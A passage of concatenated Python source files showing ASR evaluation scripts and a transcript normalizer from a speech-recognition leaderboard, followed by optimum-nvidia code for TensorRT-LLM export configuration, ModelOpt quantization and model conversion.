+            if len(segment.strip()) == 0:
+                continue
+            if i == len(segments) - 1:
+                results.append(segment)
+            else:
+                results.append(segment)
+                last_word = segment.rsplit(maxsplit=2)[-1]
+                if last_word in self.decimals or last_word in self.multipliers:
+                    results.append('point five')
+                else:
+                    results.append('and a half')
+        s = ' '.join(results)
+        s = re.sub('([a-z])([0-9])', '\\1 \\2', s)
+        s = re.sub('([0-9])([a-z])', '\\1 \\2', s)
+        s = re.sub('([0-9])\\s+(st|nd|rd|th|s)\\b', '\\1\\2', s)
+        return s
+
+    def postprocess(self, s: str):
+
+        def combine_cents(m: Match):
+            try:
+                currency = m.group(1)
+                integer = m.group(2)
+                cents = int(m.group(3))
+                return f'{currency}{integer}.{cents:02d}'
+            except ValueError:
+                return m.string
+
+        def extract_cents(m: Match):
+            try:
+                return f'¢{int(m.group(1))}'
+            except ValueError:
+                return m.string
+        s = re.sub('([€£$])([0-9]+) (?:and )?¢([0-9]{1,2})\\b', combine_cents, s)
+        s = re.sub('[€£$]0.([0-9]{1,2})\\b', extract_cents, s)
+        s = re.sub('\\b1(s?)\\b', 'one\\1', s)
+        return s
+
+    def __call__(self, s: str):
+        s = self.preprocess(s)
+        s = ' '.join((word for word in self.process_words(s.split()) if word is not None))
+        s = self.postprocess(s)
+        return s
+
+class EnglishSpellingNormalizer:
+
+    def __init__(self, english_spelling_mapping):
+        self.mapping = english_spelling_mapping
+
+    def __call__(self, s: str):
+        return ' '.join((self.mapping.get(word, word) for word in s.split()))
+
+class EnglishTextNormalizer:
+
+    def __init__(self, english_spelling_mapping=english_spelling_normalizer):
+        self.ignore_patterns = '\\b(hmm|mm|mhm|mmm|uh|um)\\b'
+        self.replacers = {"\\bwon't\\b": 'will not', "\\bcan't\\b": 'can not', "\\blet's\\b": 'let us', "\\bain't\\b": 'aint', "\\by'all\\b": 'you all', '\\bwanna\\b': 'want to', '\\bgotta\\b': 'got to', '\\bgonna\\b': 'going to', "\\bi'ma\\b": 'i am going to', '\\bimma\\b': 'i am going to', '\\bwoulda\\b': 'would have', '\\bcoulda\\b': 'could have', '\\bshoulda\\b': 'should have', "\\bma'am\\b": 'madam', '\\bmr\\b': 'mister ', '\\bmrs\\b': 'missus ', '\\bst\\b': 'saint ', '\\bdr\\b': 'doctor ', '\\bprof\\b': 'professor ', '\\bcapt\\b': 'captain ', '\\bgov\\b': 'governor ', '\\bald\\b': 'alderman ', '\\bgen\\b': 'general ', '\\bsen\\b': 'senator ', '\\brep\\b': 'representative ', '\\bpres\\b': 'president ', '\\brev\\b': 'reverend ', '\\bhon\\b': 'honorable ', '\\basst\\b': 'assistant ', '\\bassoc\\b': 'associate ', '\\blt\\b': 'lieutenant ', '\\bcol\\b': 'colonel ', '\\bjr\\b': 'junior ', '\\bsr\\b': 'senior ', '\\besq\\b': 'esquire ', "'d been\\b": ' had been', "'s been\\b": ' has been', "'d gone\\b": ' had gone', "'s gone\\b": ' has gone', "'d done\\b": ' had done', "'s got\\b": ' has got', "n't\\b": ' not', "'re\\b": ' are', "'s\\b": ' is', "'d\\b": ' would', "'ll\\b": ' will', "'t\\b": ' not', "'ve\\b": ' have', "'m\\b": ' am'}
+        self.standardize_numbers = EnglishNumberNormalizer()
+        self.standardize_spellings = EnglishSpellingNormalizer(english_spelling_mapping)
+
+    def __call__(self, s: str):
+        s = s.lower()
+        s = re.sub('[<\\[][^>\\]]*[>\\]]', '', s)
+        s = re.sub('\\(([^)]+?)\\)', '', s)
+        s = re.sub(self.ignore_patterns, '', s)
+        s = re.sub("\\s+'", "'", s)
+        for (pattern, replacement) in self.replacers.items():
+            s = re.sub(pattern, replacement, s)
+        s = re.sub('(\\d),(\\d)', '\\1\\2', s)
+        s = re.sub('\\.([^0-9]|$)', ' \\1', s)
+        s = remove_symbols_and_diacritics(s, keep='.%$¢€£')
+        s = self.standardize_numbers(s)
+        s = self.standardize_spellings(s)
+        s = re.sub('[.$¢€£]([^0-9])', ' \\1', s)
+        s = re.sub('([^0-9])%', '\\1 ', s)
+        s = re.sub('\\s+', ' ', s)
+        return s
+
+# File: open_asr_leaderboard-main/speechbrain/run_eval.py
+""""""
+import argparse
+import time
+import evaluate
+from normalizer import data_utils
+from tqdm import tqdm
+import torch
+import speechbrain.inference.ASR as ASR
+from speechbrain.utils.data_utils import batch_pad_right
+import os
+
+def get_model(speechbrain_repository: str, speechbrain_pretrained_class_name: str, **kwargs):
+    run_opt_defaults = {'device': 'cpu', 'data_parallel_count': -1, 'data_parallel_backend': False, 'distributed_launch': False, 'distributed_backend': 'nccl', 'jit_module_keys': None}
+    run_opts = {**run_opt_defaults, **kwargs}
+    kwargs = {'source': f'{speechbrain_repository}', 'savedir': f'pretrained_models/{speechbrain_repository}', 'run_opts': run_opts}
+    try:
+        model_class = getattr(ASR, speechbrain_pretrained_class_name)
+    except AttributeError:
+        raise AttributeError(f'SpeechBrain Pretrained class: {speechbrain_pretrained_class_name} not found in pretrained.py')
+    return model_class.from_hparams(**kwargs)
+
+def main(args):
+    if args.device == -1:
+        device = 'cpu'
+    else:
+        device = f'cuda:{args.device}'
+    model = get_model(args.source, args.speechbrain_pretrained_class_name, device=device)
+
+    def benchmark(batch):
+        audios = [torch.from_numpy(sample['array']) for sample in batch['audio']]
+        minibatch_size = len(audios)
+        start_time = time.time()
+        (audios, audio_lens) = batch_pad_right(audios)
+        audios = audios.to(device)
+        audio_lens = audio_lens.to(device)
+        (predictions, _) = model.transcribe_batch(audios, audio_lens)
+        runtime = time.time() - start_time
+        batch['transcription_time_s'] = minibatch_size * [runtime / minibatch_size]
+        batch['predictions'] = [data_utils.normalizer(pred) for pred in predictions]
+        batch['references'] = batch['norm_text']
+        return batch
+    if args.warmup_steps is not None:
+        dataset = data_utils.load_data(args)
+        dataset = data_utils.prepare_data(dataset)
+        num_warmup_samples = args.warmup_steps * args.batch_size
+        if args.streaming:
+            warmup_dataset = dataset.take(num_warmup_samples)
+        else:
+            warmup_dataset = dataset.select(range(min(num_warmup_samples, len(dataset))))
+        warmup_dataset = iter(warmup_dataset.map(benchmark, batch_size=args.batch_size, batched=True))
+        for _ in tqdm(warmup_dataset, desc='Warming up...'):
+            continue
+    dataset = data_utils.load_data(args)
+    if args.max_eval_samples is not None and args.max_eval_samples > 0:
+        print(f'Subsampling dataset to first {args.max_eval_samples} samples!')
+        if args.streaming:
+            dataset = dataset.take(args.max_eval_samples)
+        else:
+            dataset = dataset.select(range(min(args.max_eval_samples, len(dataset))))
+    dataset = data_utils.prepare_data(dataset)
+    dataset = dataset.map(benchmark, batch_size=args.batch_size, batched=True, remove_columns=['audio'])
+    all_results = {'audio_length_s': [], 'transcription_time_s': [], 'predictions': [], 'references': []}
+    result_iter = iter(dataset)
+    for result in tqdm(result_iter, desc='Samples...'):
+        for key in all_results:
+            all_results[key].append(result[key])
+    manifest_path = data_utils.write_manifest(all_results['references'], all_results['predictions'], args.source, args.dataset_path, args.dataset, args.split, audio_length=all_results['audio_length_s'], transcription_time=all_results['transcription_time_s'])
+    print('Results saved at path:', os.path.abspath(manifest_path))
+    wer_metric = evaluate.load('wer')
+    wer = wer_metric.compute(references=all_results['references'], predictions=all_results['predictions'])
+    wer = round(100 * wer, 2)
+    rtfx = round(sum(all_results['audio_length_s']) / sum(all_results['transcription_time_s']), 2)
+    print('WER:', wer, '%', 'RTFx:', rtfx)
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--source', type=str, required=True, help='SpeechBrain model repository. E.g. `asr-crdnn-rnnlm-librispeech`')
+    parser.add_argument('--speechbrain_pretrained_class_name', type=str, required=True, help='SpeechBrain pretrained class name. E.g. `EncoderASR`')
+    parser.add_argument('--dataset_path', type=str, default='hf-audio/esb-datasets-test-only-sorted', help='Dataset path. By default, it is `esb/datasets`')
+    parser.add_argument('--dataset', type=str, required=True, help="Dataset name. *E.g.* `'librispeech_asr` for the LibriSpeech ASR dataset, or `'common_voice'` for Common Voice. The full list of dataset names can be found at `https://huggingface.co/datasets/esb/datasets`")
+    parser.add_argument('--split', type=str, default='test', help="Split of the dataset. *E.g.* `'validation`' for the dev split, or `'test'` for the test split.")
+    parser.add_argument('--device', type=int, default=-1, help='The device to run the pipeline on. -1 for CPU (default), 0 for the first GPU and so on.')
+    parser.add_argument('--batch_size', type=int, default=16, help='Number of samples to go through each streamed batch.')
+    parser.add_argument('--max_eval_samples', type=int, default=None, help='Number of samples to be evaluated. Put a lower number e.g. 64 for testing this script.')
+    parser.add_argument('--no-streaming', dest='streaming', action='store_false', help="Choose whether you'd like to download the entire dataset or stream it during the evaluation.")
+    parser.add_argument('--warmup_steps', type=int, default=5, help='Number of warm-up steps to run before launching the timed runs.')
+    args = parser.parse_args()
+    parser.set_defaults(streaming=True)
+    main(args)
+
+# File: open_asr_leaderboard-main/transformers/run_eval.py
+import argparse
+import os
+import torch
+from torch.nn.attention import sdpa_kernel, SDPBackend
+from transformers import AutoConfig, AutoModelForSpeechSeq2Seq, AutoModelForCTC, AutoProcessor, MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING
+import evaluate
+from normalizer import data_utils
+import time
+from tqdm import tqdm
+wer_metric = evaluate.load('wer')
+torch.set_float32_matmul_precision('high')
+
+def main(args):
+    config = AutoConfig.from_pretrained(args.model_id)
+    cls_model = AutoModelForSpeechSeq2Seq if type(config) in MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING else AutoModelForCTC
+    model = cls_model.from_pretrained(args.model_id, torch_dtype=torch.bfloat16, attn_implementation='sdpa').to(args.device)
+    processor = AutoProcessor.from_pretrained(args.model_id)
+    model_input_name = processor.model_input_names[0]
+    if model.can_generate():
+        gen_kwargs = {'max_new_tokens': args.max_new_tokens}
+        if getattr(model.generation_config, 'is_multilingual'):
+            gen_kwargs['language'] = 'en'
+            gen_kwargs['task'] = 'transcribe'
+    elif args.max_new_tokens:
+        raise ValueError('`max_new_tokens` should only be set for auto-regressive models, but got a CTC model.')
+    if args.torch_compile:
+        model.forward = torch.compile(model.forward, mode=args.compile_mode, fullgraph=True)
+        if model.can_generate():
+            model.generation_config.cache_implementation = 'static'
+
+    def benchmark(batch, min_new_tokens=None):
+        audios = [audio['array'] for audio in batch['audio']]
+        minibatch_size = len(audios)
+        start_time = time.time()
+        padding_size = None
+        if minibatch_size != args.batch_size and args.torch_compile:
+            padding_size = args.batch_size - minibatch_size
+            padding_audios = [audios[-1] for _ in range(padding_size)]
+            audios.extend(padding_audios)
+        if not model.can_generate():
+            inputs = processor(audios, sampling_rate=16000, truncation=False, padding='longest', return_tensors='pt', return_attention_mask=True)
+        else:
+            inputs = processor(audios, sampling_rate=16000, return_tensors='pt', device=args.device)
+        inputs = inputs.to(args.device)
+        inputs[model_input_name] = inputs[model_input_name].to(torch.bfloat16)
+        with sdpa_kernel(SDPBackend.MATH if args.torch_compile else SDPBackend.FLASH_ATTENTION):
+            if model.can_generate():
+                pred_ids = model.generate(**inputs, **gen_kwargs, min_new_tokens=min_new_tokens)
+            else:
+                with torch.no_grad():
+                    logits = model(**inputs).logits
+                    pred_ids = logits.argmax(-1)
+        if padding_size is not None:
+            pred_ids = pred_ids[:-padding_size, ...]
+        pred_text = processor.batch_decode(pred_ids, skip_special_tokens=True)
+        runtime = time.time() - start_time
+        batch['transcription_time_s'] = minibatch_size * [runtime / minibatch_size]
+        batch['predictions'] = [data_utils.normalizer(pred) for pred in pred_text]
+        batch['references'] = batch['norm_text']
+        return batch
+    if args.warmup_steps is not None:
+        dataset = data_utils.load_data(args)
+        dataset = data_utils.prepare_data(dataset)
+        num_warmup_samples = args.warmup_steps * args.batch_size
+        if args.streaming:
+            warmup_dataset = dataset.take(num_warmup_samples)
+        else:
+            warmup_dataset = dataset.select(range(min(num_warmup_samples, len(dataset))))
+        warmup_dataset = iter(warmup_dataset.map(benchmark, batch_size=args.batch_size, batched=True, fn_kwargs={'min_new_tokens': args.max_new_tokens}))
+        for _ in tqdm(warmup_dataset, desc='Warming up...'):
+            continue
+    dataset = data_utils.load_data(args)
+    if args.max_eval_samples is not None and args.max_eval_samples > 0:
+        print(f'Subsampling dataset to first {args.max_eval_samples} samples!')
+        if args.streaming:
+            dataset = dataset.take(args.max_eval_samples)
+        else:
+            dataset = dataset.select(range(min(args.max_eval_samples, len(dataset))))
+    dataset = data_utils.prepare_data(dataset)
+    dataset = dataset.map(benchmark, batch_size=args.batch_size, batched=True, remove_columns=['audio'])
+    all_results = {'audio_length_s': [], 'transcription_time_s': [], 'predictions': [], 'references': []}
+    result_iter = iter(dataset)
+    for result in tqdm(result_iter, desc='Samples...'):
+        for key in all_results:
+            all_results[key].append(result[key])
+    manifest_path = data_utils.write_manifest(all_results['references'], all_results['predictions'], args.model_id, args.dataset_path, args.dataset, args.split, audio_length=all_results['audio_length_s'], transcription_time=all_results['transcription_time_s'])
+    print('Results saved at path:', os.path.abspath(manifest_path))
+    wer = wer_metric.compute(references=all_results['references'], predictions=all_results['predictions'])
+    wer = round(100 * wer, 2)
+    rtfx = round(sum(all_results['audio_length_s']) / sum(all_results['transcription_time_s']), 2)
+    print('WER:', wer, '%', 'RTFx:', rtfx)
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--model_id', type=str, required=True, help='Model identifier. Should be loadable with 🤗 Transformers')
+    parser.add_argument('--dataset_path', type=str, default='esb/datasets', help='Dataset path. By default, it is `esb/datasets`')
+    parser.add_argument('--dataset', type=str, required=True, help="Dataset name. *E.g.* `'librispeech_asr` for the LibriSpeech ASR dataset, or `'common_voice'` for Common Voice. The full list of dataset names can be found at `https://huggingface.co/datasets/esb/datasets`")
+    parser.add_argument('--split', type=str, default='test', help="Split of the dataset. *E.g.* `'validation`' for the dev split, or `'test'` for the test split.")
+    parser.add_argument('--device', type=int, default=-1, help='The device to run the pipeline on. -1 for CPU (default), 0 for the first GPU and so on.')
+    parser.add_argument('--batch_size', type=int, default=16, help='Number of samples to go through each streamed batch.')
+    parser.add_argument('--max_eval_samples', type=int, default=None, help='Number of samples to be evaluated. Put a lower number e.g. 64 for testing this script.')
+    parser.add_argument('--no-streaming', dest='streaming', action='store_false', help="Choose whether you'd like to download the entire dataset or stream it during the evaluation.")
+    parser.add_argument('--max_new_tokens', type=int, default=None, help='Maximum number of tokens to generate (for auto-regressive models).')
+    parser.add_argument('--torch_compile', action='store_true', help='Whether to JIT compile the forward pass of the model.')
+    parser.add_argument('--compile_mode', type=str, default='max-autotune', help="Mode for torch compiling model forward pass. Can be either 'default', 'reduce-overhead', 'max-autotune' or 'max-autotune-no-cudagraphs'.")
+    parser.add_argument('--warmup_steps', type=int, default=10, help='Number of warm-up steps to run before launching the timed runs.')
+    args = parser.parse_args()
+    parser.set_defaults(streaming=False)
+    main(args)
+

huggingface_optimum-nvidia.txt

@@ -0,0 +1,1270 @@
+# File: optimum-nvidia-main/src/optimum/commands/env.py
+import platform
+import subprocess
+import huggingface_hub
+from tensorrt import __version__ as trt_version
+from tensorrt_llm import __version__ as trtllm_version
+from transformers import __version__ as transformers_version
+from transformers.utils import is_torch_available
+from optimum.commands import BaseOptimumCLICommand, CommandInfo
+from optimum.version import __version__ as optimum_version
+
+class EnvironmentCommand(BaseOptimumCLICommand):
+    COMMAND = CommandInfo(name='env', help='Get information about the environment used.')
+
+    @staticmethod
+    def print_apt_pkgs():
+        apt = subprocess.Popen(['apt', 'list', '--installed'], stdout=subprocess.PIPE)
+        grep = subprocess.Popen(['grep', 'cuda'], stdin=apt.stdout, stdout=subprocess.PIPE)
+        pkgs_list = list(grep.stdout)
+        for pkg in pkgs_list:
+            print(pkg.decode('utf-8').split('\n')[0])
+
+    def run(self):
+        pt_version = 'not installed'
+        if is_torch_available():
+            import torch
+            pt_version = torch.__version__
+        platform_info = {'Platform': platform.platform(), 'Python version': platform.python_version()}
+        info = {'`tensorrt` version': trt_version, '`tensorrt-llm` version': trtllm_version, '`optimum` version': optimum_version, '`transformers` version': transformers_version, '`huggingface_hub` version': huggingface_hub.__version__, '`torch` version': f'{pt_version}'}
+        print('\nCopy-and-paste the text below in your GitHub issue:\n')
+        print('\nPlatform:\n')
+        print(self.format_dict(platform_info))
+        print('\nPython packages:\n')
+        print(self.format_dict(info))
+        print('\nCUDA system packages:\n')
+        self.print_apt_pkgs()
+
+# File: optimum-nvidia-main/src/optimum/nvidia/compression/modelopt.py
+from abc import ABC, abstractmethod
+from typing import TYPE_CHECKING, Iterable, Optional, Protocol, Union, runtime_checkable
+import modelopt.torch.quantization as mtq
+import modelopt.torch.sparsity as mts
+import torch
+from modelopt.torch.export import export_tensorrt_llm_checkpoint
+from transformers.quantizers import HfQuantizer
+from transformers.utils.quantization_config import QuantizationConfigMixin
+from optimum.nvidia.compression import CompressionRecipe
+if TYPE_CHECKING:
+    from modelopt.torch.quantization import QuantizeConfig
+    from transformers import PreTrainedModel as TransformersPreTrainedModel
+    from optimum.nvidia.export import Workspace
+
+@runtime_checkable
+class IntoModelOptQuantizeConfig(Protocol):
+
+    def into_modelopt_qconfig(self) -> 'QuantizeConfig':
+        ...
+
+class ModelOptConfig(QuantizationConfigMixin):
+
+    def __init__(self, qconfig: Union['QuantizeConfig', 'IntoModelOptQuantizeConfig'], sparsity: Optional[Union[mts.mode.SparseGPTConfig, mts.mode.SparseMagnitudeConfig]]=None):
+        self._qconfig = qconfig.into_modelopt_qconfig() if isinstance(qconfig, IntoModelOptQuantizeConfig) else qconfig
+        self._sparsity = sparsity
+
+    @property
+    def quant_method(self):
+        return self._qconfig.algorithm
+
+    @property
+    def qconfig(self) -> 'QuantizeConfig':
+        return self._qconfig
+
+    @property
+    def sparsity(self) -> Optional[str]:
+        return self._sparsity
+
+class ModelOptRecipe(CompressionRecipe[ModelOptConfig], ABC):
+
+    @property
+    @abstractmethod
+    def config(self) -> ModelOptConfig:
+        raise NotImplementedError()
+
+    @property
+    @abstractmethod
+    def dataset(self) -> Iterable:
+        raise NotImplementedError()
+
+class ModelOptQuantizer(HfQuantizer):
+
+    def __init__(self, recipe: ModelOptRecipe):
+        super().__init__(recipe.config)
+        self._recipe = recipe
+
+    def _looper(self, model: 'TransformersPreTrainedModel'):
+        for sample in self._recipe.dataset:
+            _ = model(**sample)
+
+    def _process_model_before_weight_loading(self, model, **kwargs):
+        return model
+
+    def _process_model_after_weight_loading(self, model, **kwargs):
+        if 'workspace' not in kwargs:
+            raise KeyError('workspace not provided but required to generate quantized model representation')
+        workspace: 'Workspace' = kwargs.pop('workspace')
+        with torch.inference_mode():
+            if (sconfig := self._recipe.config.sparsity):
+                device = model.device
+                model = mts.sparsify(model.cpu(), sconfig, {'data_loader': self._recipe.dataset, 'collect_func': lambda x: x})
+                model = mts.export(model)
+                model.to(device)
+            qmodel = mtq.quantize(model, vars(self._recipe.config.qconfig), forward_loop=self._looper)
+            export_tensorrt_llm_checkpoint(qmodel, decoder_type=model.config.model_type, dtype=model.dtype, export_dir=workspace.checkpoints_path, inference_tensor_parallel=1, inference_pipeline_parallel=1, use_nfs_workspace=False, naive_fp8_quantization=False)
+        return qmodel
+
+    @property
+    def is_serializable(self):
+        return True
+
+    @property
+    def is_trainable(self):
+        return True
+
+# File: optimum-nvidia-main/src/optimum/nvidia/errors.py
+from typing import Optional
+from optimum.nvidia.utils.nvml import SM_FP8_SUPPORTED
+
+class OptimumNvidiaException(Exception):
+
+    def __init__(self, msg: str, operation: Optional[str]=None):
+        if operation:
+            super().__init__(f'[{operation}] {msg}.')
+        else:
+            super().__init__(f'{msg}')
+
+class UnsupportedModelException(OptimumNvidiaException):
+
+    def __init__(self, model_type: str):
+        super().__init__(f'Model of type {model_type} is not supported. Please open-up an issue at https://github.com/huggingface/optimum-nvidia/issues')
+
+class UnsupportedHardwareFeature(OptimumNvidiaException):
+
+    def __init__(self, msg, feature: str):
+        super(msg)
+
+    @classmethod
+    def float8(cls) -> 'UnsupportedHardwareFeature':
+        return Float8NotSupported()
+
+class Float8NotSupported(UnsupportedHardwareFeature):
+
+    def __init__(self):
+        super().__init__(f'float8 is not supported on your device. Please use a device with compute capabilities {SM_FP8_SUPPORTED}', 'float8')
+
+# File: optimum-nvidia-main/src/optimum/nvidia/export/cli.py
+from typing import TYPE_CHECKING
+if TYPE_CHECKING:
+    from argparse import ArgumentParser
+
+def common_trtllm_export_args(parser: 'ArgumentParser'):
+    parser.add_argument('model', type=str, help='Model to export.')
+    required_group = parser.add_argument_group('Required arguments')
+    required_group.add_argument('--max-input-length', type=int, default=-1, help='Maximum sequence length, in number of tokens, the prompt can be. The maximum number of potential tokens generated will be <max-output-length> - <max-input-length>.')
+    required_group.add_argument('--max-output-length', type=int, default=-1, help='Maximum sequence length, in number of tokens, the model supports.')
+    optional_group = parser.add_argument_group('Optional arguments')
+    optional_group.add_argument('-d', '--dtype', type=str, default='auto', help="Computational data type used for the model. Default to 'auto' matching model's data type.")
+    optional_group.add_argument('--max-batch-size', type=int, default=1, help='Maximum number of concurrent requests the model can process. Default to 1.')
+    optional_group.add_argument('--max-beams-width', type=int, default=1, help='Maximum number of sampling paths ("beam") to evaluate when decoding new a token. Default to 1.')
+    optional_group.add_argument('-q', '--quantization', type=str, help='Path to a quantization recipe file.')
+    optional_group.add_argument('--destination', type=str, default=None, help='Folder where the resulting exported engines will be stored. Default to Hugging Face Hub cache.')
+    optional_group.add_argument('--push-to-hub', type=str, help='Repository to push generated engines to.')
+
+# File: optimum-nvidia-main/src/optimum/nvidia/export/config.py
+from dataclasses import dataclass
+from logging import getLogger
+from os import PathLike
+from typing import TYPE_CHECKING, Optional, Union
+from warnings import warn
+from tensorrt_llm import BuildConfig
+from tensorrt_llm import Mapping as ShardingInfo
+from tensorrt_llm.bindings import QuantMode
+from tensorrt_llm.plugin import PluginConfig
+from tensorrt_llm.plugin.plugin import ContextFMHAType
+from transformers import AutoConfig
+from optimum.nvidia.lang import DataType
+from optimum.utils import NormalizedConfig
+if TYPE_CHECKING:
+    from transformers import PretrainedConfig
+INFER_NUM_LOCAL_GPUS = -1
+LOGGER = getLogger()
+
+@dataclass
+class ExportConfig:
+    dtype: str
+    max_input_len: int
+    max_output_len: int
+    max_batch_size: int
+    max_beam_width: int = 1
+    max_num_tokens: int = -1
+    enabled_chunked_context: int = False
+    sharding: Optional[ShardingInfo] = None
+    optimization_level: int = 3
+
+    def __post_init__(self):
+        if self.max_batch_size < 1:
+            raise ValueError(f'max_batch_size should >= 1, got {self.max_batch_size}')
+
+    @staticmethod
+    def from_pretrained(model_id_or_path: Union[str, PathLike], max_batch_size: int=1) -> 'ExportConfig':
+        return ExportConfig.from_config(AutoConfig.from_pretrained(model_id_or_path), max_batch_size)
+
+    @staticmethod
+    def from_config(config: Union[NormalizedConfig, 'PretrainedConfig'], max_batch_size: int=1) -> 'ExportConfig':
+        if not isinstance(config, NormalizedConfig):
+            config = NormalizedConfig(config)
+        dtype = DataType.from_torch(config.torch_dtype).value
+        max_input_len = config.max_position_embeddings
+        max_output_len = config.max_position_embeddings
+        econfig = ExportConfig(dtype=dtype, max_input_len=max_input_len, max_output_len=max_output_len, max_batch_size=max_batch_size)
+        econfig.with_sharding()
+        econfig.validate()
+        return econfig
+
+    def validate(self) -> 'ExportConfig':
+        if self.optimization_level < 0:
+            raise ValueError(f'optimization_level should be >= 0, got {self.optimization_level}')
+        if self.max_num_tokens == -1:
+            if self.enabled_chunked_context:
+                self.max_num_tokens = 128
+                warn(f'max_num_tokens set to {self.max_num_tokens} with chunked context enabled might not be optimal.')
+            else:
+                self.max_num_tokens = 2 * self.max_input_len
+            LOGGER.debug(f'Inferred max_num_tokens={self.max_num_tokens}')
+        return self
+
+    @property
+    def plugin_config(self) -> 'PluginConfig':
+        config = PluginConfig()
+        config.gemm_plugin = 'auto'
+        config.gpt_attention_plugin = 'auto'
+        config.set_context_fmha(ContextFMHAType.enabled)
+        if self.sharding.world_size > 1:
+            config.lookup_plugin = 'auto'
+            config.set_nccl_plugin()
+        if DataType(self.dtype) == DataType.FLOAT8:
+            config.gemm_swiglu_plugin = True
+        return config
+
+    def to_builder_config(self, qmode: Optional['QuantMode']=None, plugin_config: Optional[PluginConfig]=None) -> 'BuildConfig':
+        self.validate()
+        plugin_config = plugin_config or self.plugin_config
+        if qmode:
+            plugin_config.use_fp8_context_fmha = qmode.has_fp8_qdq() or qmode.has_fp8_kv_cache()
+            if qmode.is_weight_only():
+                plugin_config.weight_only_groupwise_quant_matmul_plugin = 'auto'
+            weight_sparsity = False
+        else:
+            weight_sparsity = False
+        return BuildConfig(max_input_len=self.max_input_len, max_seq_len=self.max_output_len, max_batch_size=self.max_batch_size, max_beam_width=self.max_beam_width, max_num_tokens=self.max_num_tokens, builder_opt=self.optimization_level, plugin_config=plugin_config, use_fused_mlp=True, weight_sparsity=weight_sparsity)
+
+    def with_sharding(self, tp: int=1, pp: int=1, gpus_per_node: int=8, sharding: Optional[ShardingInfo]=None) -> 'ExportConfig':
+        self.sharding = sharding or ShardingInfo(tp_size=tp, pp_size=pp, world_size=tp * pp, gpus_per_node=gpus_per_node)
+        return self
+
+def auto_parallel(config: 'ExportConfig', world_size: int=INFER_NUM_LOCAL_GPUS) -> 'ExportConfig':
+    if world_size < 1:
+        from optimum.nvidia.utils.nvml import get_device_count
+        world_size = get_device_count()
+        LOGGER.info(f'Found {world_size} GPUs on the system')
+    if world_size == 0:
+        raise ValueError('No GPU found')
+    elif world_size == 1:
+        return config.with_sharding(tp=1, pp=1, gpus_per_node=world_size)
+    else:
+        LOGGER.info(f'Creating auto-parallelization strategy on {world_size}-GPUs')
+        LOGGER.warning('Auto-parallelization strategy is currently in beta and might not be optimal')
+        if world_size == 2:
+            return config.with_sharding(tp=2, pp=1, gpus_per_node=world_size)
+        elif world_size == 4:
+            return config.with_sharding(tp=2, pp=2, gpus_per_node=world_size)
+        elif world_size == 8:
+            return config.with_sharding(tp=4, pp=2, gpus_per_node=world_size)
+        else:
+            raise ValueError(f'Unsupported number of GPUs: {world_size}. Please open-up and issue on the optimum-nvidia repository: https://github.com/huggingface/optimum-nvidia')
+
+def sharded(config: 'ExportConfig', tp: int=1, pp: int=1) -> 'ExportConfig':
+    if tp < 1:
+        raise ValueError(f'Tensor Parallelism (tp) should be >= 1 (got: tp={tp})')
+    if pp < 1:
+        raise ValueError(f'Pipeline Parallelism (pp) should be >= 1 (got: pp={pp})')
+    return config.with_sharding(sharding=ShardingInfo(tp_size=tp, pp_size=pp, world_size=tp * pp))
+
+# File: optimum-nvidia-main/src/optimum/nvidia/export/converter.py
+import shutil
+from abc import ABC
+from enum import Enum
+from logging import getLogger
+from os import PathLike
+from pathlib import Path
+from typing import TYPE_CHECKING, Optional, Sequence, Type, Union
+from tensorrt_llm.builder import build
+from optimum.nvidia.compression.modelopt import ModelOptQuantizer
+from optimum.nvidia.export import Workspace
+from optimum.nvidia.utils.nvml import get_device_name, is_post_ampere
+if TYPE_CHECKING:
+    from tensorrt_llm import BuildConfig, Mapping
+    from tensorrt_llm.models import PretrainedModel
+    from transformers import PreTrainedModel as TransformersPreTrainedModel
+    from optimum.nvidia.compression.modelopt import ModelOptRecipe
+LOGGER = getLogger()
+
+def infer_plugin_from_build_config(config: 'BuildConfig') -> 'BuildConfig':
+    if is_post_ampere():
+        LOGGER.debug('Enabling Paged Context FMHA plugin')
+        config.plugin_config.update_from_dict({'use_paged_context_fmha': True})
+    config.plugin_config.update_from_dict({'enable_xqa': False})
+    return config
+
+class TensorRTArtifactKind(Enum):
+    CHECKPOINTS = 'checkpoints'
+    ENGINES = 'engines'
+
+class TensorRTArtifact:
+
+    @staticmethod
+    def checkpoints(root: Union[str, PathLike]) -> 'TensorRTArtifact':
+        return TensorRTArtifact(TensorRTArtifactKind.CHECKPOINTS, root)
+
+    @staticmethod
+    def engines(root: Union[str, PathLike]) -> 'TensorRTArtifact':
+        return TensorRTArtifact(TensorRTArtifactKind.ENGINES, root)
+
+    def __init__(self, kind: TensorRTArtifactKind, root: Union[str, PathLike]):
+        self._kind = kind
+        self._root = root
+
+    @property
+    def kind(self) -> TensorRTArtifactKind:
+        return self._kind
+
+    @property
+    def root(self) -> Path:
+        return Path(self._root)
+
+    def push_to_hub(self):
+        raise NotImplementedError()
+
+class TensorRTModelConverter(ABC):
+    CONFIG_CLASS: Type
+    MODEL_CLASS: Type
+
+    def __init__(self, model_id: str, subpart: str='', workspace: Optional[Union['Workspace', str, bytes, Path]]=None, license_path: Optional[Union[str, bytes, Path]]=None):
+        LOGGER.info(f'Creating a model converter for {subpart}')
+        if not workspace:
+            target_device = get_device_name(0)[-1]
+            workspace = Workspace.from_hub_cache(model_id, target_device, subpart=subpart)
+        if isinstance(workspace, (str, bytes, Path)):
+            workspace = Workspace(Path(workspace))
+        LOGGER.debug(f'Initializing model converter workspace at {workspace.root}')
+        self._workspace = workspace
+        self._license_path = license_path
+
+    @property
+    def workspace(self) -> Workspace:
+        return self._workspace
+
+    def save_license(self, licence_filename: str='LICENSE'):
+        if not (dst_licence_file_path := (self.workspace.root / licence_filename)).exists() and self._license_path:
+            shutil.copyfile(self._license_path, dst_licence_file_path)
+
+    def quantize(self, model: 'TransformersPreTrainedModel', qconfig: 'ModelOptRecipe') -> TensorRTArtifact:
+        quantizer = ModelOptQuantizer(qconfig)
+        quantizer.preprocess_model(model, workspace=self.workspace)
+        quantizer.postprocess_model(model, workspace=self.workspace)
+        self.save_license()
+        return TensorRTArtifact.checkpoints(self._workspace.checkpoints_path)
+
+    def convert(self, models: Union['PretrainedModel', Sequence['PretrainedModel']], mapping: Optional['Mapping']=None) -> TensorRTArtifact:
+        if isinstance(models, PretrainedModel):
+            models = [models]
+        for (rank, model) in enumerate(models):
+            LOGGER.info(f'Converting {models[0].config.architecture} model for rank {rank} to TRTLLM')
